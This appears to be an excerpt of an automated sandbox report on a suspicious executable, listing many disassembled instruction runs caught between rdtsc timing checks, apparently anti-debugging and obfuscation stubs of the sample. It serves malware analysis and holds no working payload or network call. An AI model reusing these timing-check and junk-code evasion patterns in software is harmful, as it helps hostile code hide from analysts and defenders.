Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115B0 second address: 6115DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E5h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F32E8D838D8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115DA second address: 6115E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115E4 second address: 611610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DFh 0x00000007 jmp 00007F32E8D838E9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F33D second address: 63F344 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E33E second address: 63E354 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E8D838D6h 0x00000008 jmp 00007F32E8D838DCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E354 second address: 63E35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E35C second address: 63E360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6432C6 second address: 6432E1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E9641F18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F32E9641F1Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643588 second address: 643599 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E8D838D8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643995 second address: 643999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644EFA second address: 644F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644F02 second address: 644F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644F0A second address: 644F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503CB second address: 4F503E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503E3 second address: 4F50410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, C0EBh 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov esi, edx 0x00000018 mov cx, bx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov si, E089h 0x00000024 mov ebx, ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50410 second address: 4F5048D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32E9641F21h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, 65EEh 0x00000012 push edx 0x00000013 mov eax, 0AE78AA1h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F32E9641F23h 0x00000024 adc eax, 4247734Eh 0x0000002a jmp 00007F32E9641F29h 0x0000002f popfd 0x00000030 mov ah, 6Bh 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F32E9641F25h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5048D second address: 4F50493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800C3 second address: 4F800C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800C7 second address: 4F800E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800E4 second address: 4F800EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800EA second address: 4F800EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800EE second address: 4F800FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F800FD second address: 4F80101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80101 second address: 4F8011C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F801D2 second address: 4F801D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F801D8 second address: 4F801E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80239 second address: 4F80241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80241 second address: 4F80247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80247 second address: 4F80276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32E8D838E7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80276 second address: 4F7004D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F32E9641F1Ch 0x00000011 add ax, 7888h 0x00000016 jmp 00007F32E9641F1Bh 0x0000001b popfd 0x0000001c movzx ecx, di 0x0000001f popad 0x00000020 leave 0x00000021 jmp 00007F32E9641F1Bh 0x00000026 retn 0004h 0x00000029 nop 0x0000002a cmp eax, 00000000h 0x0000002d setne al 0x00000030 xor ebx, ebx 0x00000032 test al, 01h 0x00000034 jne 00007F32E9641F17h 0x00000036 xor eax, eax 0x00000038 sub esp, 08h 0x0000003b mov dword ptr [esp], 00000000h 0x00000042 mov dword ptr [esp+04h], 00000000h 0x0000004a call 00007F32EE23B353h 0x0000004f mov edi, edi 0x00000051 pushad 0x00000052 jmp 00007F32E9641F1Eh 0x00000057 push eax 0x00000058 jmp 00007F32E9641F21h 0x0000005d pop esi 0x0000005e popad 0x0000005f push ebx 0x00000060 jmp 00007F32E9641F1Ch 0x00000065 mov dword ptr [esp], ebp 0x00000068 jmp 00007F32E9641F20h 0x0000006d mov ebp, esp 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7004D second address: 4F70051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70051 second address: 4F7006E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7006E second address: 4F700A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 63A2h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push FFFFFFFEh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov esi, 4D21D687h 0x00000016 pushfd 0x00000017 jmp 00007F32E8D838DCh 0x0000001c adc esi, 0B7A0038h 0x00000022 jmp 00007F32E8D838DBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F700A4 second address: 4F700AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F700AA second address: 4F700AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F700AE second address: 4F700D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 70B60E6Eh 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 call 00007F32E9641F26h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F700D6 second address: 4F700EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 05709026h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ebx, eax 0x00000012 mov cl, 64h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F700EB second address: 4F70184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F32E9641F19h 0x0000000e pushad 0x0000000f jmp 00007F32E9641F1Eh 0x00000014 mov eax, 7F34B8B1h 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c push edi 0x0000001d mov edi, ecx 0x0000001f pop ecx 0x00000020 mov ax, dx 0x00000023 popad 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 pushad 0x00000029 pushad 0x0000002a mov ah, C2h 0x0000002c push edi 0x0000002d pop esi 0x0000002e popad 0x0000002f mov eax, edx 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 jmp 00007F32E9641F1Ch 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d pushad 0x0000003e mov eax, edx 0x00000040 jmp 00007F32E9641F1Dh 0x00000045 popad 0x00000046 pop eax 0x00000047 jmp 00007F32E9641F1Eh 0x0000004c mov eax, dword ptr fs:[00000000h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F32E9641F27h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70184 second address: 4F7018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7018A second address: 4F701C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F32E9641F1Ch 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F32E9641F20h 0x00000016 sub esp, 18h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F32E9641F1Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F701C3 second address: 4F701D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F701D2 second address: 4F701FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov edi, 740A1B26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F32E9641F28h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F701FC second address: 4F70277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F32E8D838E6h 0x00000013 add ecx, 2B420F28h 0x00000019 jmp 00007F32E8D838DBh 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 mov ecx, 1EC34017h 0x0000002a pushfd 0x0000002b jmp 00007F32E8D838DCh 0x00000030 or eax, 4AD44188h 0x00000036 jmp 00007F32E8D838DBh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 call 00007F32E8D838E2h 0x00000046 pop eax 0x00000047 mov ah, bl 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70277 second address: 4F7027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7027C second address: 4F702F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838E9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jmp 00007F32E8D838DEh 0x00000012 xchg eax, edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F32E8D838DEh 0x0000001a sbb cx, F8A8h 0x0000001f jmp 00007F32E8D838DBh 0x00000024 popfd 0x00000025 call 00007F32E8D838E8h 0x0000002a pushad 0x0000002b popad 0x0000002c pop ecx 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F702F0 second address: 4F702F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F702F4 second address: 4F702FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F702FA second address: 4F70331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F32E9641F20h 0x0000000f mov eax, dword ptr [75C74538h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov di, 6AB0h 0x0000001b mov ax, bx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70331 second address: 4F70346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70346 second address: 4F703E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 mov bh, ch 0x00000012 movsx ebx, ax 0x00000015 popad 0x00000016 mov si, 2F17h 0x0000001a popad 0x0000001b xor eax, ebp 0x0000001d jmp 00007F32E9641F23h 0x00000022 nop 0x00000023 jmp 00007F32E9641F26h 0x00000028 push eax 0x00000029 pushad 0x0000002a pushad 0x0000002b mov bx, 1C32h 0x0000002f push edi 0x00000030 pop esi 0x00000031 popad 0x00000032 mov esi, edx 0x00000034 popad 0x00000035 nop 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F32E9641F27h 0x0000003d sub ch, FFFFFFDEh 0x00000040 jmp 00007F32E9641F29h 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 mov edi, eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F703E1 second address: 4F7042B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F32E8D838DAh 0x00000008 add cx, 6ED8h 0x0000000d jmp 00007F32E8D838DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a mov bx, si 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 mov dword ptr fs:[00000000h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F32E8D838E6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7042B second address: 4F70518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 jmp 00007F32E9641F1Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [ebp-18h], esp 0x00000010 pushad 0x00000011 call 00007F32E9641F1Ch 0x00000016 movzx eax, di 0x00000019 pop edx 0x0000001a movzx esi, bx 0x0000001d popad 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 jmp 00007F32E9641F1Fh 0x00000029 mov ecx, dword ptr [eax+00000FDCh] 0x0000002f pushad 0x00000030 pushad 0x00000031 jmp 00007F32E9641F22h 0x00000036 movzx ecx, dx 0x00000039 popad 0x0000003a pushfd 0x0000003b jmp 00007F32E9641F27h 0x00000040 xor ch, 0000001Eh 0x00000043 jmp 00007F32E9641F29h 0x00000048 popfd 0x00000049 popad 0x0000004a test ecx, ecx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F32E9641F1Ch 0x00000053 add ax, 7D18h 0x00000058 jmp 00007F32E9641F1Bh 0x0000005d popfd 0x0000005e mov si, 8CCFh 0x00000062 popad 0x00000063 jns 00007F32E9641F3Ah 0x00000069 jmp 00007F32E9641F22h 0x0000006e add eax, ecx 0x00000070 jmp 00007F32E9641F20h 0x00000075 mov ecx, dword ptr [ebp+08h] 0x00000078 pushad 0x00000079 push esi 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70518 second address: 4F70529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70529 second address: 4F7052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7052D second address: 4F70531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70531 second address: 4F70537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60151 second address: 4F6017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7CA97A07h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F32E8D838E8h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6017E second address: 4F60182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60182 second address: 4F6019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6019E second address: 4F60201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 47h 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 pushfd 0x00000011 jmp 00007F32E9641F1Ch 0x00000016 or ecx, 7F2641A8h 0x0000001c jmp 00007F32E9641F1Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F32E9641F26h 0x0000002a sub esp, 2Ch 0x0000002d pushad 0x0000002e call 00007F32E9641F1Eh 0x00000033 mov ax, 5B11h 0x00000037 pop esi 0x00000038 push eax 0x00000039 push edx 0x0000003a mov dl, ADh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60201 second address: 4F6022D instructions: 0x00000000 rdtsc 0x00000002 mov esi, 1DDB6305h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b jmp 00007F32E8D838E0h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F32E8D838DEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6022D second address: 4F60233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60233 second address: 4F60237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F602B9 second address: 4F60319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F32E9641F21h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 call 00007F32E9641F1Dh 0x00000018 mov esi, 2AB00397h 0x0000001d pop ecx 0x0000001e movsx edx, si 0x00000021 popad 0x00000022 inc ebx 0x00000023 jmp 00007F32E9641F24h 0x00000028 test al, al 0x0000002a pushad 0x0000002b mov ecx, 72A51E4Dh 0x00000030 push eax 0x00000031 push edx 0x00000032 mov ebx, esi 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60319 second address: 4F60364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F32E8D83AE8h 0x00000010 jmp 00007F32E8D838E0h 0x00000015 lea ecx, dword ptr [ebp-14h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F32E8D838E7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60364 second address: 4F6036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603B9 second address: 4F60404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32E8D838E1h 0x00000009 sbb ch, 00000056h 0x0000000c jmp 00007F32E8D838E1h 0x00000011 popfd 0x00000012 mov eax, 277F63C7h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F32E8D838E4h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60404 second address: 4F6040A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6040A second address: 4F60410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60410 second address: 4F60414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60414 second address: 4F60444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F32E8D838DFh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E8D838E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F605CE second address: 4F605D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F605D4 second address: 4F605E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838DDh 0x00000009 rdtsc
